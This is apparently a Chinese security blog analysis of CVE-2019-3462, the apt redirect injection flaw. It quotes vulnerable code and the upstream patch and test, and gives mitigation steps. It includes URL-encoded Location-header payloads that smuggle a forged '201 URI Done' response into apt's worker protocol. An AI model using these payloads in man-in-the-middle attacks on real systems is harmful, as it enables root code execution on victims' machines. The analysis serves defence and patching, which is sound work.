apt/apt-get 远程代码执行漏洞浅析(CVE-2019-3462)


Written by [email protected]零时科技

0x00 背景

研究人员 Max Justicz 日前发现了知名 Linux 包管理器 apt/apt-get 中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并以 root 权限以执行任何代码。该漏洞已在最新版本 apt 修复,如果担心在升级过程中遭到攻击,可以在更新时禁用 HTTP 重定向功能进行安全升级:

1
2
$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

在获取数据时,apt会fork出专门用于数据传输的worker进程。父进程使用有点像HTTP的协议通过stdin/stdout与这些worker进程进行通信,告诉它们下载什么以及将下载的内容放在文件系统的什么位置上。

当HTTP服务响应一个重定向时,woker进程会返回103 Redirect 而不是201 URI Done,接下来父进程使用这个响应来确定下一步应该请求的资源:

1
2
3
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

0x01 漏洞详情

对HTTP Location报头进行url解码并把解码后的内容没有进行任何校验,盲目地拼接到103 Redirect的响应上:

1
2
3
4
5
6
7
8
9
10
11
12
13
// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
<< "New-URI: " << NewURI << "\n"
<< "\n" << std::flush;
Dequeue();
}

如果HTTP服务发送:

1
Location: /new-uri%0AFoo%3A%20Bar

返回的响应为:

1
2
3
4
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

如果HTTP服务发送:

1
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

返回的响应为:

1
2
3
4
5
6
7
8
9
10
11
12
13
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

攻击者通过中间人攻击劫持后,使用伪造签名骗过该检查,即可在用户主机上安装攻击者安排的任意程序,并因为 apt 已经获取 root 权限,该恶意程序可在 root 权限下执行。

0x02 补丁分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
diff -Nru apt-1.7.0/apt-pkg/acquire-method.cc apt-1.7.0ubuntu0.1/apt-pkg/acquire-method.cc
--- apt-1.7.0/apt-pkg/acquire-method.cc 2018-10-07 07:56:02.000000000 +0200
+++ apt-1.7.0ubuntu0.1/apt-pkg/acquire-method.cc 2019-01-18 11:38:56.000000000 +0100
@@ -470,6 +470,12 @@
* the worker will enqueue again later on to the right queue */
void pkgAcqMethod::Redirect(const string &NewURI)
{
+ if (NewURI.find_first_not_of(" !\"#$%&'()*+,-./0123456789:;<=>[email protected][\\]^_`abcdefghijklmnopqrstuvwxyz{|}~") != std::string::npos)
+ {
+ _error->Error("SECURITY: URL redirect target contains control characters, rejecting.");
+ Fail();
+ return;
+ }
std::unordered_map<std::string, std::string> fields;
try_emplace(fields, "URI", Queue->Uri);
try_emplace(fields, "New-URI", NewURI);
diff -Nru apt-1.7.0/debian/changelog apt-1.7.0ubuntu0.1/debian/changelog
--- apt-1.7.0/debian/changelog 2018-10-07 07:56:02.000000000 +0200
+++ apt-1.7.0ubuntu0.1/debian/changelog 2019-01-18 11:38:56.000000000 +0100
@@ -1,3 +1,10 @@
+apt (1.7.0ubuntu0.1) cosmic-security; urgency=medium
+
+ * SECURITY UPDATE: content injection in http method (CVE-2019-3462)
+ (LP: #1812353)
+
+ -- Julian Andres Klode <[email protected]> Fri, 18 Jan 2019 11:38:56 +0100
+
apt (1.7.0) unstable; urgency=medium

[ Julian Andres Klode ]
diff -Nru apt-1.7.0/debian/control apt-1.7.0ubuntu0.1/debian/control
--- apt-1.7.0/debian/control 2018-10-07 07:56:02.000000000 +0200
+++ apt-1.7.0ubuntu0.1/debian/control 2019-01-18 11:38:56.000000000 +0100
@@ -1,7 +1,8 @@
Source: apt
Section: admin
Priority: important
-Maintainer: APT Development Team <[email protected]>
+Maintainer: Ubuntu Developers <[email protected]>
+XSBC-Original-Maintainer: APT Development Team <[email protected]>
Uploaders: Michael Vogt <[email protected]>,
Julian Andres Klode <[email protected]>,
David Kalnischkies <[email protected]>
diff -Nru apt-1.7.0/test/integration/test-cve-2019-3462-dequote-injection apt-1.7.0ubuntu0.1/test/integration/test-cve-2019-3462-dequote-injection
--- apt-1.7.0/test/integration/test-cve-2019-3462-dequote-injection 1970-01-01 01:00:00.000000000 +0100
+++ apt-1.7.0ubuntu0.1/test/integration/test-cve-2019-3462-dequote-injection 2019-01-18 11:38:56.000000000 +0100
@@ -0,0 +1,66 @@
+#!/bin/sh
+set -e
+
+TESTDIR="$(readlink -f "$(dirname "$0")")"
+. "$TESTDIR/framework"
+setupenvironment
+configarchitecture 'amd64'
+
+# build two uncompressed packages
+buildsimplenativepackage 'alpha' 'all' '1' 'unstable' '' '' 'section' 'optional' '' 'none'
+
+setupaptarchive --no-update
+ORIGINAL_SHA256=$(sha256sum aptarchive/pool/alpha_1_all.deb | awk '{print $1}')
+ORIGINAL_SIZE=$(wc -c aptarchive/pool/alpha_1_all.deb | awk '{print $1}')
+SHA256="DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF"
+changetowebserver
+
+webserverconfig aptwebserver::redirect::replace::alpha_1_all.deb "beeta_1_all.deb%250a%250a201%2520URI%2520Done%250aURI:%2520http://localhost:${APTHTTPPORT}/pool/beeta_1_all.deb%250aFilename:%2520${TMPWORKINGDIRECTORY}/rootdir/var/cache/apt/archives/partial/alpha_1_all.deb%250aSize:%252020672%250aLast-Modified:%2520Fri,%252018%2520Jan%25202019%252009:52:02%2520+0000%250aSHA256-Hash:%2520${SHA256}%250aChecksum-FileSize-Hash:%252012345%250a%250a%0a"
+
+
+testsuccess apt update -o debug::http=1 -o debug::pkgacquire::worker=1
+
+
+testfailureequal "Reading package lists...
+Building dependency tree...
+The following NEW packages will be installed:
+ alpha
+0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
+Need to get 20.7 kB of archives.
+After this operation, 11.3 kB of additional disk space will be used.
+Err:1 http://localhost:${APTHTTPPORT} unstable/main all alpha all 1
+ SECURITY: URL redirect target contains control characters, rejecting.
+E: Failed to fetch http://localhost:${APTHTTPPORT}/pool/alpha_1_all.deb SECURITY: URL redirect target contains control characters, rejecting.
+E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?" aptget install alpha
+
+
+
+# For reference, the following is the original reproducer/bug. It has
+# been disabled using exit 0, as it will fail in fixed versions.
+exit 0
+
+testfailureequal "Reading package lists...
+Building dependency tree...
+The following NEW packages will be installed:
+ alpha
+0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
+Need to get 20.7 kB of archives.
+After this operation, 11.3 kB of additional disk space will be used.
+Err:1 http://localhost:${APTHTTPPORT} unstable/main all alpha all 1
+ Hash Sum mismatch
+ Hashes of expected file:
+ - SHA256:$ORIGINAL_SHA256
+ - Filesize:$ORIGINAL_SIZE [weak]
+ Hashes of received file:
+ - SHA256:DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF
+ - Filesize:12345 [weak]
+ Last modification reported: Fri, 18 Jan 2019 09:52:02 +0000
+E: Failed to fetch http://localhost:${APTHTTPPORT}/pool/beeta_1_all.deb Hash Sum mismatch
+ Hashes of expected file:
+ - SHA256:$ORIGINAL_SHA256
+ - Filesize:$ORIGINAL_SIZE [weak]
+ Hashes of received file:
+ - SHA256:DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF
+ - Filesize:12345 [weak]
+ Last modification reported: Fri, 18 Jan 2019 09:52:02 +0000
+E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?" aptget install alpha

对更新后的acquire-method.cc和受影响的acquire-method.cc进行diff我们发现

pkgAcqMethod::Redirect函数通过对NewURI中的字符进行校验来修复该漏洞

1
2
3
4
5
6
7
8
9
10
11
void pkgAcqMethod::Redirect(const string &NewURI)
{
if (NewURI.find_first_not_of(" !\"#$%&'()*+,-./0123456789:;<=>[email protected][\\]^_`abcdefghijklmnopqrstuvwxyz{|}~") != std::string::npos)
{
_error->Error("SECURITY: URL redirect target contains control characters, rejecting.");
Fail();
return;
}
std::unordered_map<std::string, std::string> fields;
try_emplace(fields, "URI", Queue->Uri);
try_emplace(fields, "New-URI", NewURI);

0x03 修复建议

禁用http重定向:

1
2
$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

并且将apt更新至最新版本:

1
apt update && apt-get install apt

通过将系统更新为以下软件包版本可以解决此问题:

1
2
3
4
Ubuntu 18.10 => apt - 1.7.0ubuntu0.1
Ubuntu 18.04 LTS=> apt - 1.6.6ubuntu0.1
Ubuntu 16.04 LTS =>apt - 1.2.29ubuntu0.1
Ubuntu 14.04 LTS =>apt - 1.0.1ubuntu2.19

Ubuntu以下版本受影响:

1
2
3
4
Ubuntu 18.10
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 LTS

0x04 参考链接

https://justi.cz/security/2019/01/22/apt-rce.html

https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1812353

https://lists.debian.org/debian-security-announce/2019/msg00010.html